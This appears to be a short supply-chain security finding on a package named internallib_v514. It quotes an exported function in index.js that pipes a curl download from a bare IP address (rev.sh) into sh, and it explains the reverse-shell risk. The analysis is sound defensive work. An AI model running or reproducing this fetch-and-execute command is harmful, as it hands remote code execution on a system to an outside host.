internallib_v514@1.0.0

index.js line 2 defines an exported `command` function that calls `require('child_process').execSync("curl http://10.0.70.90/rev.sh | sh")`, synchronously downloading a shell script from a hardcoded internal bare-IP address over plaintext HTTP and piping it into `sh`. The script name `rev.sh` is consistent with a reverse-shell payload. Any consumer that requires this package and invokes the exported function executes attacker-controlled code delivered from that host, with no integrity check, no TLS, and no pinning. The fetched bytes originate from a non-registry, non-publisher endpoint and are executed directly by a shell.